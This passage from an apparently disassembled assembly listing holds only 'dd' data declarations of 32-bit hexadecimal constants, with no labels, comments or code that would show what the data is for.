dd 919BC79Fh, 5B9B6EECh, 62481D3Ah, 7F13B95Ch, 0F448B0A8h
dd 7D1425E9h, 9A128FD1h, 54216CADh, 6A377CEFh, 237C1158h
dd 2014E1F9h, 0E4CBB55Fh, 0D8CE47B0h, 0FDCC21Bh, 0A80FE101h
dd 843E1EDAh, 8558D551h, 0AA847C4Dh, 8FEC1C99h, 0EE02253Ah
dd 0AC3AA7CFh, 1F4EFD38h, 6BA458E2h, 52406F94h, 26923739h
dd 0ABCA32C5h, 666FE41Fh, 0FB2C148Dh, 0C1ED80D5h, 365737C6h
dd 74908CECh, 0A007EF30h, 0AC10C552h, 41D06B41h, 0ED96020Ch
dd 77F08494h, 70326771h, 27CCB615h, 0D669E930h, 0BA9C4977h
dd 83A530F8h, 1199BEBDh, 0A7577843h, 5987AA71h, 19C33C35h
dd 2A8429B1h, 75F0A913h, 44057D20h, 4E7E032Ch, 178EAEDAh
dd 4762A9FFh, 5A9E14D1h, 0FCEEDA40h, 7152D90h, 99AD08F0h
dd 41B01E98h, 0CE38DD1Dh, 0A3BD9A22h, 0E6B4CC3Fh, 0A2C1E3C3h
dd 0A5551FCBh, 0F92C2328h, 7F0F0D8Ah, 917224Bh, 8F3FA6C9h
dd 0EFF481E6h, 0C88DC257h, 0C9F271C9h, 0FA0CAC17h, 0C7FFBCAFh
dd 0F7657173h, 77640621h, 0B75ABC39h, 473909A2h, 0BC81FC6Bh
dd 8DB1DA81h, 13601784h, 976D4D0h, 24F90CFAh, 78EE8684h
dd 88786A5Bh, 535C02A4h, 0D34D339Ah, 0D272ECB6h, 56BE8E36h
dd 9208D5A8h, 8037737h, 8A9EFDF0h, 64A40E3Fh, 6536FE89h
dd 2D91389h, 0BC0C1E94h, 94D885C2h, 280EBE90h, 0EE1F5CA8h
dd 7FA05BE3h, 43208664h, 0F5DE7744h, 548A0D3Dh, 86E096E9h
dd 0F80FDDB9h, 3BF0FD49h, 53C0916Ah, 4025FFB0h, 0C619040Eh
dd 904E9888h, 12E29D1Bh, 0D05F57B5h, 0CD977C72h, 0C9C89EBFh
dd 0D638F3Fh, 9C74F5BBh, 105CCD4Bh, 9F0F7E29h, 9992F714h
dd 968B344Ah, 54F8C50Fh, 541B28E5h, 0CE289571h, 19806B6Dh
dd 6BB21EE4h, 98296194h, 0EA44AA4h, 217EFE6Eh, 81ABE955h
dd 7EF36187h, 0BA0DFF3Ch, 14BB5B24h, 0BEA31993h, 0EF7B3259h
dd 1A4C045Ch, 6DA73263h, 8FB74A22h, 0C40918D5h, 8E7EBCF4h
dd 4EEED44h, 6D51807Ch, 275360E8h, 2E2BCE93h, 31975591h
dd 0A814250Ch, 0A6FC9A1h, 0CB7D1BE2h, 8BCEE074h, 242B5B6Fh
dd 64CDB9FBh, 6E0A15F8h, 2221E706h, 0E8CE6072h, 9F9B655Bh
dd 7AF8EB00h, 4C6529E0h, 0DB46E617h, 3E2BFDD8h, 3375A21Fh
dd 3D1E7A97h, 0F9FD3225h, 7714D22Bh, 0DF3646B0h, 94414405h
dd 0DD95DF63h, 0DBBB29A0h, 0C9FE1060h, 0BFAF25FCh, 0FFA614FFh
dd 6AD6D4B7h, 4E7CBE9Fh, 88F148B2h, 9A705B61h, 0CC7F094h
dd 4C7A9A3Fh, 5F62ACB2h, 28CE9CEFh, 0A1D8559Eh, 0E67BDB35h
dd 290B3829h, 0B806B156h, 8C542B58h, 101B3702h, 518417B8h
dd 31821110h, 0ACA2CC61h, 36D7C320h, 6907262Eh, 8BAC0531h
dd 0E7BDB8E8h, 0EE854302h, 0DA6994ABh, 8B985B84h, 919B59C4h
dd 125B8B28h, 0EDB24695h, 0DFAD2E96h, 99B999BAh, 5C0A8873h
dd 0A2D0E31Bh, 7DDECEF6h, 0E06120E7h, 6FBA873Ch, 0F30F41F0h
dd 79DA0FEFh, 25CBD2D6h, 0F6C905B0h, 5762A607h, 5260581Ah
dd 0BCF86D45h, 888E94F7h
dd 0DF9C0234h, 18B134Ch, 89CE7803h, 0E4AC0A5Eh, 0C2BCAD11h
dd 6623A36Ah, 7568DDDh, 232A9680h, 9BE19701h, 0F647038Dh
dd 1CEC7BD4h, 0A74A86B6h, 0CF232C73h, 0D0A24E6h, 0ECFF10F3h
dd 928C018Ah, 24DBB13Dh, 475BBA2Dh, 6CF86426h, 0D10D0933h
dd 0C5872632h, 0CE2284A1h, 57F4CEA4h, 0A49C17ACh, 0B57EBA19h
dd 7AA05E3Bh, 0C9ADD64Dh, 0E6488D8Fh, 9BFC1C77h, 4F414B17h
dd 739A53E8h, 77DCAEB8h, 7178C405h, 2F6B45EDh, 6B45866h
dd 9D6E25DCh, 97EC35DEh, 8655F6B2h, 0C53508D8h, 0E3C2C7CEh
dd 19DD2589h, 76F76AC9h, 0B61ACF35h, 0EFECD0B6h, 33A57B0Fh
dd 0D5ECB372h, 814B691Ch, 459039DBh, 28B00B17h, 2812B90Bh
dd 70D9F9E8h, 9C581415h, 0CFA933E7h, 0ED7F4671h, 0E3EA46F9h
dd 8B447D9Ch, 8B31BF1Dh, 9C79BEF1h, 0EAA96157h, 0DA4281Dh
dd 3A9E3604h, 0C9B331F8h, 6D0D52A9h, 0F3DE284Ah, 0A5B26641h
dd 64D5D7A1h, 9D2E912Ah, 23AA7007h, 180E79EDh, 656DA119h
dd 0ABCEB9F4h, 97086ADAh, 76A4C8B8h, 0E2899603h, 0B1C6EA36h
dd 519A3A3h, 6459B8BBh, 80B93355h, 3DE5C9D1h, 9CDAC891h
dd 0D3AE3E6Fh, 0A68E9822h, 0EECC8606h, 0B55972A1h, 5BBDE1AEh
dd 0E6093876h, 0BDD6AEEDh, 1FCFEF83h, 65877DECh, 0ED9906h
dd 6E230190h, 4A4470D8h, 7B39D852h, 3658DF08h, 1792C2E4h
dd 65925D15h, 0D5D0ED8h, 4E5CED59h, 0A9D6D923h, 0B1D9DCAAh
dd 799C87A2h, 70E87DBh, 2C1576BEh, 0BDABFA99h, 478816BFh
dd 0D4C3F52h, 67D5EF77h, 0D5AF5441h, 0C5373243h, 17C92781h
dd 91AAB76Eh, 88343659h, 0E648B9F1h, 0A0D6D40Ch, 6A1A5726h
dd 7E13A49Bh, 76A69F9Fh, 0F9E74879h, 0DE83FF43h, 0F9E2166Bh
dd 244A1A3Dh, 8DF122AEh, 0BAB08C42h, 0B60C79AAh, 0B64F3CC8h
dd 0D89DD0FFh, 0A079F0CFh, 0FE563160h, 8EB1067Eh, 0D3685607h
dd 0CB9BD910h, 59EDCF92h, 0AA47AC8Fh, 45483FE8h, 5805558h
dd 60BE5F3Fh, 7BD31120h, 42BC06CEh, 5011952Eh, 30D3BE15h
dd 6C5526AEh, 780011AFh, 0C067B496h, 0EA5F3596h, 0CB256CBDh
dd 7FD6E40Ah, 0DA8B07E8h, 0A06AE90h, 8963973Ch, 0AC75BEFFh
dd 0EAB83047h, 9CF8A288h, 0B8CBD64Fh, 0EA4EAEBBh, 94DB0EA3h
dd 3AD7C7D5h, 0C1E1F47Eh, 2E157E77h, 7C54E220h, 4843D855h
dd 0CE6D121Dh, 5CE78E99h, 6FFEDA50h, 2096BBD2h, 0A247EF92h
dd 0D195214Dh, 0E24D54E4h, 1EEB7E53h, 4FA39DCBh, 6A75AE34h
dd 148B4866h, 3ECE7199h, 0A9148F90h, 0DE512549h, 4AC44488h
dd 5BA778D6h, 45AE93C7h, 264860E3h, 8C952817h, 0D2BA6E27h
dd 0BE5C23C7h, 0D64815D2h, 62068AF5h, 4379842Fh, 4E5901DFh
dd 0EDDDD0A5h, 6631F2FCh, 2F30125Bh, 0D9577D0Dh, 0E6A274B2h
dd 0AEA56D8Bh, 6E9C7860h, 60B493B6h, 0DEF31A1Dh, 8F46D4B3h
dd 0E7BBF498h, 0C8A68D6h, 0F79DDCBh, 17BDD7D9h, 312B3FA3h
dd 0B824B6A3h, 9B6A134Eh, 0FC8AA63Bh, 52562598h, 25A264D6h
dd 3DFCD501h, 6588B776h, 78EEE42Fh, 11C36403h, 5FBFC08Ch
dd 0FA4635A1h, 1C399920h, 0D5D58F23h, 37DB4Ch, 0AA4632E5h
dd 248A66A0h, 458CBDAh, 348B77C8h, 2909FEFEh, 5164750Eh
dd 0A82F4E83h, 7080D52Ah, 3658897h, 13CA42AFh, 48636451h
dd 6E4F46ABh, 0A5E5ED88h, 0A44F5FFFh, 14275EDFh, 1828392Ch
dd 0DDB0971Fh, 6B68D3EFh, 8D4FBEB3h, 0CDDDCDC8h, 0BDB40E4Fh
dd 7945FFD7h, 0C8A4208Ah, 2778A577h, 0F6270B11h, 975C42B4h
dd 63A8D4D1h, 0F493937Dh, 75F559CDh, 0AB039204h, 56802A76h
dd 0FC4DBF8Eh, 0D72E7032h, 8DF30750h, 792B887Eh, 12328C7Ch
dd 2751BBA2h, 855213BAh, 3D435218h, 0EA6B04B9h, 6FC828F9h
dd 77358CBAh, 682DD8B0h, 749DEF2Bh, 1373D41Fh, 0A03BA616h
dd 318151C3h, 0A293E9D5h, 0E46A34DAh, 91F0D24Ch, 411C97ABh
dd 38BA4F58h, 5DB3104Bh, 8BF4933Bh, 1F134CACh, 12D22316h
dd 8EFD916Bh, 0C5599C7Ch, 0B88AFF9Bh, 0F695464Ah, 78B12C51h
dd 0C2C2B28Dh, 73B4DE57h, 0E17B4F69h, 0EFA94374h, 0A78E5654h
dd 991161EDh, 47BD5A2Fh, 0E58CA0C8h, 9EF0A519h, 313266FCh
dd 0BF7EFF64h, 3F710CE4h, 452D8D35h, 0B8FB7181h, 838F9C66h
dd 928700E7h, 0A2BEDCDEh, 2A3D2634h, 0C98A8B10h, 0CCA5B1EEh
dd 7EACF225h, 5F128625h, 2924F2E9h, 249B8F33h, 98B6D036h
dd 6C722428h, 0B0E18645h, 7BF48613h, 0C56A06C8h, 6101C338h
dd 637C55A7h, 0A0BB3B02h, 0A8E9802Fh, 545111BFh, 0AB2B920Dh
dd 69B61172h, 1CA32693h, 2F531FAAh, 640CCFA8h, 3B27A3D9h
dd 0D5360AB0h, 32D38F6Dh, 717683C1h, 0BB373778h, 7278A589h
dd 6F3AAF09h, 0FC7E8D9Ah, 2AF08523h, 24C94A74h, 1684AE78h
dd 9FAED14Dh, 5EF8A91h, 0D6535D2Ah, 43756A3Fh, 247A1048h
dd 57CBCABh, 51C98BDh, 0AE2D0EE4h, 88A47D10h, 75FB3947h
dd 0D4E0BF8Dh, 6821072h, 53A4AAB7h, 8B4DA0Eh, 171073F7h
dd 2ACCE009h, 3CEA57BEh, 52B47878h, 0E8E8BE35h, 0A8EFBA4Ch
dd 289D8A31h, 0A090D31Ah, 0AAED508Bh, 320B1E54h, 0DE1B4238h
dd 0FD1C3F3Ah, 9EAE7A37h, 0FDC7B441h, 3D729B7Bh, 0D5462065h
dd 0DA576821h, 2765F499h, 3D1A9C44h, 8023859Dh, 0F4A1A458h
dd 0CA2FFB5Ch, 0EC4E1205h, 33D11693h, 55EB6539h, 0B89D246Bh
dd 8B8B10E6h, 7337BBB7h, 63C30926h, 8F26DA91h, 8C1E034h
dd 75E75326h, 0FD70956Fh, 4B21C69Bh, 1C2C58FDh, 8DBE20F2h
dd 277E2851h, 0B9B5C6C0h, 0A5EA99DAh, 351A3C70h, 0F0DD543Eh
dd 888C25D5h, 33EDAF7Fh, 0ABA01F06h, 1E9B3320h, 0BB36A544h
dd 4414CA44h, 0C92BE92Ch, 7D25A93Ah, 4EB288D6h, 0CD5E0D7Eh
dd 0E5A35409h, 6FC37Ch, 0C17C7880h, 4B95E543h, 0AFE3975h
dd 0B90B934Ah, 2C53F959h, 0A44C92BFh, 90543CB1h, 2D8B152Fh
dd 0A1A66822h, 0A33401E8h, 0A8B6467Fh, 0DA13C7C2h, 746001E6h
dd 81E48DF2h, 75881CC7h, 0CA99B291h, 0DE635F5h, 7B74E4h
dd 56A70BC5h, 0D985DEDEh, 0CC4AF7ECh, 0DE841B16h, 63CDF994h
dd 2DF8201Eh, 0D3938FAAh, 0EA3BE12Bh, 1955869Eh, 8EEBC11Dh
dd 94C7FAA2h, 1915339h, 0A0D3E78Dh, 99844E58h, 62683EE7h
dd 2F54085Ah, 0BD77B6BBh, 0DDD1AF3Dh, 0F648D881h, 1BF2453Fh
dd 1A5251Bh, 9156666Eh, 68B4F9E4h, 3BA34F6Bh, 5C3DC086h
dd 0CE40F9B8h, 3DBC2AC3h, 0F36BED3Eh, 6DF5AB0Ch, 395FFCDDh
dd 0A1C08C16h, 76294AF9h, 56BA4793h, 5EEAC68Ah, 0C52D69A8h
dd 5177BB85h, 685DD6B5h, 9008718Eh, 75C55DF9h, 41C34B2Ah
dd 9E3CFC2Bh, 0D06AE4D6h, 0EF7F825h, 88C4B61Fh, 0E0578B7Fh
dd 34CEB198h, 4C6C8223h, 64270083h, 730249A8h, 524C2333h
dd 93B46C48h, 3E3FCDE5h, 31CCAF88h, 5D905F23h, 0C426AA2h
dd 0A9B87E69h, 10B44967h, 8CC38E03h, 0BC7C5C97h, 2D97337Eh
dd 9F398F31h, 510A3FFCh, 818AAA3h, 3A554508h, 1CF5AD66h
dd 0EBB25F69h, 51E0C186h, 0DBE7E5C1h, 3C41C0E1h, 39BDDF40h
dd 0FC8E0ECDh, 0CF90BF53h, 0C4E82FEFh, 0E683B861h, 7AD020F6h
dd 0C164452Fh, 0E9EBC391h, 9D223FFBh, 58206BA7h, 0F4A7EF62h
dd 90C9C417h, 57C7A123h, 82AC3ADDh, 0F424623Ch, 5D1A49FCh
dd 72CD48C6h, 0F1C2E799h, 0B69D616Ah, 0A3617C22h, 0F0603ECDh
dd 8C18C83Ah, 768AC15Fh, 6814E450h, 4CB2F096h, 0BACC4D8Dh
dd 4C3E36A7h, 7FFD2179h, 518263FAh, 3DC22D41h, 5A83D0B0h
dd 0BE85A277h, 0A14ED312h
dd 10D963F5h, 0F6FA4D05h, 0DE003E69h, 0A18B09BEh, 0BCCE60B3h
dd 0DE30C8F5h, 97234C58h, 36025020h, 0A82E1FFDh, 0C852C67Ah
dd 0E076AB56h, 0F1EDC972h, 0F67CD0FCh, 5B00454Eh, 0DB06A0D5h
dd 2BB20D36h, 312EE9DAh, 0A37A6F75h, 0F3F517DEh, 9F5CFB75h
dd 44A5328Fh, 383C314Fh, 48684901h, 0EDD3BC2Dh, 0CE44F1B3h
dd 0CE23B855h, 0B1FC091Eh, 0ECADB0Bh, 3806CAAh, 4409E231h
dd 24370FBCh, 53EF704Ch, 6E0ECC55h, 679FFB15h, 0A41C0A8Dh
dd 6E45BDF8h, 416EE623h, 32841BD3h, 414671FBh, 0BC67C0D1h
dd 5ABE5003h, 843FDB6Dh, 6261C750h, 4F973BB4h, 54C933FBh
dd 0BB661EF1h, 134547F2h, 0BEFB7F76h, 0DBD53402h, 0DD94811Eh
dd 175D2C80h, 1D1EDA6Bh, 9F6C0795h, 1CBD5711h, 0A9CD480Fh
dd 6E0413A0h, 90CBBB3Fh, 492DD8F0h, 0DC83EC51h, 342A2772h
dd 0DA66BCDDh, 0F18BE304h, 1DD99A94h, 63D3B60Ah, 88402D27h
dd 3740368Ch, 49F8292Ah, 22970FA1h, 0D6D5A9D5h, 0BE205F7Ah
dd 90ECCAB7h, 0FF518DB7h, 712E05E3h, 0C22A9649h, 40B73FE3h
dd 66494C9Dh, 865F8B8h, 0DD33A2CBh, 0AD119347h, 0E7DE24EFh
dd 19F226D2h, 28EC2C41h, 0E07E014Bh, 1D241BD1h, 0AF217FF1h
dd 0A2CF8B8Fh, 1DA77550h, 6F4C5D67h, 0F66EBD95h, 4DDCF8CAh
dd 0EB85E785h, 4FE7467Bh, 8D33F558h, 0C0BCA777h, 191544AAh
dd 113F182Dh, 493CEE96h, 6FEC79CEh, 0AE256FF8h, 2FEC2C50h
dd 5243B8Ah, 0C83FE83Eh, 8455BE0Eh, 86254BA6h, 492A26CFh
dd 5861768Ch, 0F83310F1h, 72995116h, 36762050h, 0A156F712h
dd 9DF326C3h, 0C6D03C9Ah, 6E32A6B3h, 746D2B93h, 0E68D125h
dd 5E17B493h, 15D552F9h, 0CC018170h, 9200CF0Bh, 8F1E2067h
dd 0C94F6F24h, 0A4A7B258h, 0C7FD5A7Ah, 793FD120h, 0DA0E12BBh
dd 0CC54500Fh, 88E7B5B5h, 37AB21A8h, 0A0378A35h, 4A85044Eh
dd 597C5074h, 574D1B7Eh, 3C62D9DDh, 9C94E6Dh, 21CBCD39h
dd 2F7F06EBh, 79F62D83h, 71AE3E02h, 236A2B36h, 0B4BA9892h
dd 4B4DF8C4h, 0CA2DCB66h, 0BFA1898Ah, 79853652h, 422399C0h
dd 67090770h, 76951E7Dh, 0F137CE04h, 0AF71438h, 0B12CE99Ah
dd 5AB67E70h, 79A74AFBh, 0CED266A0h, 0C78BCDFh, 0E579D6E2h
dd 406B4F9Fh, 22F3E2BDh, 0CE878864h, 0C97C4B9Fh, 0FA1AF41Fh
dd 0C281FEE5h, 42FBAC88h, 0B78EA99Ch, 0A539D87Ch, 98BC44B0h
dd 0FFA3FF73h, 0C5D574EAh, 2FC3FF90h, 76B92C0h, 0EB93A45Ah
dd 0C9844482h, 0E5ACB236h, 7ACEABD1h, 946CD6FBh, 2DEBE240h
dd 2664DAD6h, 0A55E52AAh, 1C3798FFh, 3593C77Ch, 62A6981Fh
dd 7CE2F14Ah, 9690B4D7h, 9E523C52h, 4E403DC3h, 0D2412E2Dh
dd 4E950A74h, 4CF4E45Eh, 0DE07E1B4h, 7FF2B0A9h, 8BD2E1CEh
dd 7FD40AB7h, 456E5CC2h, 3B95FEDEh, 70FDB154h, 0A6E516BEh
dd 2CF7AF90h, 6691665Fh, 8EAD678Dh, 9C1FEA1Fh, 0A35E0EB1h
dd 68B5141Eh, 0E89FC1AFh, 2B788F2Fh, 15125B0Fh, 7CFB0FCFh
dd 0AA03965Ch, 86C45B2Ah, 0C1D3EAA6h, 56C6B870h, 34CAE938h
dd 6590BAF8h, 3EAA7066h, 0BCD477C4h, 0DFECD7A4h, 5C2ED663h
dd 0F58BF782h, 97BB67AAh, 0F0AF1634h, 93F9D49Dh, 0C00DE4D2h
dd 7A75B97Ah, 4E284CFCh, 0A823CC45h, 7B617113h, 836F3EB1h
dd 0CA13F631h, 715D6F93h, 47EFD128h, 16A7ED64h, 70959A77h
dd 0D41EFC81h, 35E520A4h, 0AFB54FF3h, 84597AF5h, 759D4B8Fh
dd 6DBBED1Dh, 0BB867B1Ch, 42EDEE9Ah, 54847EE3h, 4763E7C2h
dd 1F2C700Dh, 0F82E2E9Ch, 1C1AA909h, 0DE4C4860h, 0E77AB9D4h
dd 0C2A4ED5h, 0E7D954F9h, 8F7B04EDh, 114A45FEh, 1668EAC8h
dd 0F510CDE2h, 0D3947775h, 8BC2991h, 0C4C3D4CFh, 475B6511h
dd 0DDFB248Eh, 66DED411h, 0EF224186h, 686C9366h, 0E2AD476Ch
dd 39B0A863h, 264542B1h, 38177618h, 55357184h, 0D43A3C6h
dd 6CBDD6E9h, 0D29D89D4h, 1FB82F77h, 0FF552A9Ah, 997FAD82h
dd 2B920E78h, 6DB9B6Ah, 0C5F0C553h, 0EEDF5D16h, 5EB6EBACh
dd 20C65C3Fh, 0DFE8C9B0h, 17829A9Dh, 0F31031Ah, 0C7689650h
dd 0DD4F72BCh, 0D033311Dh, 7CEA865Bh, 5E161C8Ah, 0B3DD1145h
dd 124E9D7Fh, 9292B94Eh, 0CF407138h, 1BC03704h, 24E07495h
dd 0F3FC8BDh, 0E54422DCh, 0D3F31BDEh, 8CCA5332h, 0CD4F358Ch
dd 93F1DF88h, 6200ED6h, 0C73C7628h, 0B661EC70h, 1EDD3748h
dd 202F1192h, 0A28F70DBh, 7AAD9DABh, 41D2F257h, 5E67360Ah
dd 7957C258h, 4A97DCB4h, 0FD6B8E04h, 0A0E63877h, 633A0722h
dd 8A8C6C70h, 64DC4FB7h, 0F1EB5425h, 0E33B4EF7h, 6C372F84h
dd 0E1C2EB2Dh, 406089ABh, 7DE152BCh, 11B66A7h, 0D28D0FCEh
dd 54FC854Ah, 0EB38475Ch, 25A88ECDh, 0F22DD28Fh, 6FC6886Ch
dd 25A3B41Ah, 946C80D7h, 0E9C7645Ch, 13C645Bh, 710BDD2Ah
dd 0D7248A8Dh, 2BB7BFE7h, 7E842EEAh, 0BDCA934Fh, 0B14DF746h
dd 8EBA52B9h, 0E66C76AFh, 7B07ACE7h, 0C68D0D4Bh, 13802BD6h
dd 19ADAA52h, 0DC2961A1h, 65C2BED2h, 84A93A2h, 51C3CC1Ch
dd 0AEBB833Eh, 0D64277FCh, 0C7165E2Ch, 0E79866E9h, 3A47823h
dd 0F5D06F7Eh, 28F3052Eh, 0E1424BB0h, 4E7351ABh, 236915DEh
dd 0C2074D74h, 0A167C4AAh, 460A1ACFh, 27A2689Dh, 0FF642ABh
dd 18CE045Bh, 87B9A9D4h, 9BA1F4E2h, 0B006278Ah, 4E2B8CFFh
dd 2535E33Ch, 8BF4A024h, 635BF403h, 0CD512B4Dh, 0FC1EFF75h
dd 145486C2h, 809962D8h, 3CC6E369h, 35CDBC11h, 0B98D9F1Dh
dd 58216554h, 44712A0Fh, 18FE5CC6h, 4FAAC18Dh, 121AFE5h
dd 5142405Dh, 22CFE344h, 0D49DF467h, 0A96781BCh, 0DDEE51BEh
dd 78DD2C94h, 154DC7C0h, 0D91B8E5Bh, 0A5A63A1Fh, 600B1D5Ch
dd 641609FCh, 4728804Dh, 0B3BB3BEFh, 3AE0BD18h, 1C27F0CFh
dd 0C0F8AB98h, 0B0C73A9Eh, 0E620B8B6h, 0E509CE77h, 0F6771CD3h
dd 0E46AA262h, 0D37B4407h, 0F60BC474h, 0DB88E449h, 2CA47794h
dd 7632F72h, 4BB4357Eh, 37E8090Bh, 78F56C41h, 69426BC9h
dd 0CF4EE378h, 188964CAh, 244292BFh, 0E8127A9Fh, 0DCA924D9h
dd 762BDAC4h, 222490A2h, 0DB88ACC6h, 0AD17FBABh, 278C6B96h
dd 0ECEEF22Bh, 792987B3h, 65E73CADh, 0E9CD0A60h, 30135AF9h
dd 525B6A9Ah, 9E6D4067h, 0C4D21E98h, 0C35B5ECh, 0C63948D6h
dd 0E93B275Ah, 5ACCB57Bh, 9121EC3Dh, 0EE9270BCh, 242CF3D6h
dd 0C2149953h, 16BE2941h, 0B525AFCEh, 7235E3F0h, 51AE96D3h
dd 0F290A8D8h, 30458A8Dh, 0ADBE524Eh, 8D417A8Ch, 7BE4CC9Eh
dd 4B57FF86h, 0A6D6D089h, 9E7F48FFh, 0A2A64924h, 0EFF28CD9h
dd 3071D86h, 0A00FBF8h, 9ABDC88h, 0C9993A06h, 56AD6AB7h
dd 647D2906h, 0A337A06h, 5D082C5Fh, 1483D257h, 0DAFC2942h
dd 0A7381A82h, 122BF7ECh, 2E7F9A84h, 0C061FF67h, 7D7BF184h
dd 3F1EBC94h, 65323A6Eh, 811B1C1Fh, 0D99696F5h, 0AB0CFFDFh
dd 0C70D7BEAh, 484F1C7h, 45E9D533h, 1395E739h, 7B3A69B9h
dd 11F21E8Fh, 0CB972478h, 837197EBh, 55006431h, 106AFB96h
dd 0EE1180B4h, 7288B34Dh, 98DED276h, 0E5E4F49Bh, 59C1DED9h
dd 12EC8BCDh, 428841D1h, 0CBE979E0h, 9F34DA3Ah, 986F219Ah
dd 0B81F79BFh, 0B48E3BD8h, 0C0D65343h, 9002FD7Ah, 92716E42h
dd 0B9DA4EB8h, 5DBE461Fh, 7F8965D5h, 6CA5A6A8h, 10068359h
dd 0CECD09B6h, 464F5362h, 0E12D1ADCh, 0D0421E26h, 0B3E922DCh
dd 6E55C92Fh, 0A8972431h, 7752A247h, 0D72AA2D7h, 1AD09E53h
dd 0AC2B2EA8h, 1416DDCEh
dd 0B44ED439h, 6681C78Ch, 0A6EAAA8Fh, 77FA4ADDh, 0CDD156AFh
dd 0A1175188h, 0E47CB87h, 50B42C50h, 49A08B55h, 81776913h
dd 2B05F8FEh, 0AE6185E3h, 0E93B6FFBh, 0AC4F2B03h, 0D6096B75h
dd 0A65851FAh, 0D2ADF8EBh, 21AA3587h, 9842D5B4h, 62D94378h
dd 797A6D4Ah, 3D7B7F8Ch, 9248ECF8h, 0AC7F9B81h, 0ECBB4580h
dd 76E7FB70h, 87E3864Ah, 0E8AEE50Dh, 90F44B6Bh, 74FD00C5h
dd 0A5565D97h, 523CF907h, 51F6B4BCh, 6F8ABBD2h, 95876FCBh
dd 19925939h, 314C2251h, 0D376AD76h, 6E26C4F8h, 7D592177h
dd 0E9D09C73h, 0F806AEA2h, 0D09D440Ah, 63184FB3h, 0EC38155Bh
dd 0AB8860BAh, 70D6E7D1h, 0D18FD0BAh, 10D8549Eh, 4C60EBFCh
dd 0D613574Ch, 0DE77E9A0h, 234D5F5Eh, 9F2678EFh, 0F212447Ah
dd 0D2CEC35Eh, 272Dh, 0C7C84025h, 308E556h, 0FD9067D3h
dd 0C55E2F7Eh, 8A98A8D7h, 3B56CFDEh, 525EE4C9h, 1EC81C29h
dd 0AFB43DD5h, 49CDB77Bh, 0A2F891A3h, 0CF36B29Eh, 57F9C375h
dd 469104CFh, 0EB89D0A8h, 594A1D89h, 93EC0A89h, 62456E03h
dd 0F00AECA7h, 79D59772h, 5728C8DCh, 74C80480h, 0BFD75596h
dd 9D70155h, 22004840h, 7F087215h, 15F50C23h, 0BFBB3110h
dd 7096FC8Fh, 0A617F0E8h, 103F724Eh, 364F60BCh, 77E9D240h
dd 0C398B908h, 6A8C3B66h, 244BA456h, 8085C628h, 51671474h
dd 0AD82535h, 67F7D8C9h, 0C554AB19h, 96976DCEh, 0FC504C16h
dd 5C8A738Fh, 0A9BE07DCh, 30968631h, 6DFAA412h, 19478005h
dd 60B74AADh, 438BACBAh, 974FFF42h, 0BA2D07A9h, 789909ABh
dd 3C90C4BAh, 5E3038ABh, 0BAE07E4Dh, 0E47C13F0h, 204E1DE5h
dd 84685A8Ch, 0F50AC372h, 1BA4E804h, 14226EDCh, 5C35D626h
dd 140C223Fh, 296E6B9Dh, 47CA9900h, 2E5D27B2h, 822CF423h
dd 0A64DC617h, 0C819D8DFh, 3756A356h, 0EECFAE4Dh, 5B4AFF3h
dd 310701AEh, 0DF39DAC7h, 57135669h, 78E01C83h, 51B1CD85h
dd 9A842E0Bh, 0B7022CE9h, 9E5180C6h, 0FA2D7E2Dh, 0F4A3729Bh
dd 23B0B1D0h, 0ACC246Dh, 0CEED03Fh, 0AFBA9155h, 0EAC5F03Dh
dd 0A1996127h, 4395BA27h, 2818ADBEh, 0D281830Fh, 0F4CA0C82h
dd 0DBD416D7h, 53AF4BA1h, 53F452EDh, 22012087h, 0A3431C48h
dd 2DC54D92h, 0E429E179h, 288BAA8Eh, 62B569A4h, 5C7F2328h
dd 72D85C8Fh, 0AA351526h, 4EAD629Eh, 5B242345h, 0F28A94C1h
dd 39676331h, 420831A3h, 0EA9CAA80h, 0D6EF077Ah, 0C1583267h
dd 0E1A11390h, 0BDACBE43h, 63877A19h, 0F79C1F70h, 2635A4D9h
dd 0CB6A95A7h, 3B2E26F2h, 9AF9314Eh, 0AED9D5BDh, 0E9B035D1h
dd 65EC474Bh, 54CF5039h, 19950FB1h, 0FA9E3D6Ah, 220184ADh
dd 0D042AB0Fh, 0F73D2BA1h, 0C5DEE06h, 2F90986Fh, 3067B95Ah
dd 840151FDh, 0E31292DBh, 49C89929h, 4A0451CDh, 2DFFE1F9h
dd 6718602Fh, 50E50337h, 8F6ABF4h, 9F2CE3Ch, 16DEE507h
dd 0EEBC772Dh, 26A9C606h, 1A46D31h, 9D62483Bh, 4614E9C6h
dd 8AFE9C5Ah, 0DEDD491Dh, 5365B28Dh, 0A48111E8h, 6C558BBDh
dd 7E5CC3BAh, 9E35DFE7h, 1C323C04h, 5BA2B682h, 7DFAC255h
dd 0E70649FFh, 0A59A2504h, 0C8A98414h, 7C0D56F3h, 0B230872h
dd 0CBC5444Fh, 746D2843h, 0F9A4C79Ch, 0D8D86119h, 487D9239h
dd 1CB59700h, 39FF0B6h, 903CECA9h, 3C664A1Dh, 77E07D49h
dd 0ACCA5028h, 0E4FB46C8h, 3D3C5528h, 0B0819B9h, 6624CE95h
dd 55DBC0BDh, 0F353F2F8h, 0AEC866CDh, 23DDBDCCh, 97AB7BBCh
dd 1D860D4Ch, 5094098Ah, 0A98E2BECh, 15CDF7AEh, 82B58EB5h
dd 510BDDFDh, 801CBA2Fh, 37D3FEFEh, 0ECAA2320h, 0AA6A7A2Eh
dd 239C3838h, 0C06B915Ah, 0A5B25569h, 2472B758h, 4C1D4743h
dd 0B8FD7A7Fh, 0AB89C655h, 2C84E8DFh, 3434C37Ch, 0B2776A05h
dd 504368F0h, 248A0008h, 0EF6DA7B6h, 0EC2AF96Ah, 54773275h
dd 0C2142833h, 0AFF8CEh, 78D34BE2h, 6DFE8D77h, 49354D09h
dd 0C499C60Fh, 6673B547h, 0DADB617h, 5B65C8F2h, 6758FDABh
dd 9ACF7AA1h, 0D09AE08h, 1782C54Ah, 9EA828A3h, 117E6330h
dd 6DDBDF3Ch, 0A4F18A10h, 857F7046h, 83BFFA51h, 2C842F1Ch
dd 0B890316Ah, 4A2344FBh, 0D8F6A0A1h, 0A863C37Eh, 0A81D4245h
dd 6D25ED6Fh, 9ECACC95h, 914425F8h, 0A18A9C67h, 0FFCE9511h
dd 0AC9FD334h, 6DFFC70Bh, 49959B1h, 6A3896F2h, 4B8ABA85h
dd 696E0CB7h, 0A0CAEA31h, 625D5C8Ch, 8BD0488Fh, 99E5668Dh
dd 9BB929A5h, 0B4E10DD7h, 6C9BC7CEh, 851C873h, 0DD2F8E3Bh
dd 518AC69Fh, 0EA6EA31Ah, 2197A346h, 483779A9h, 0C982D6Ch
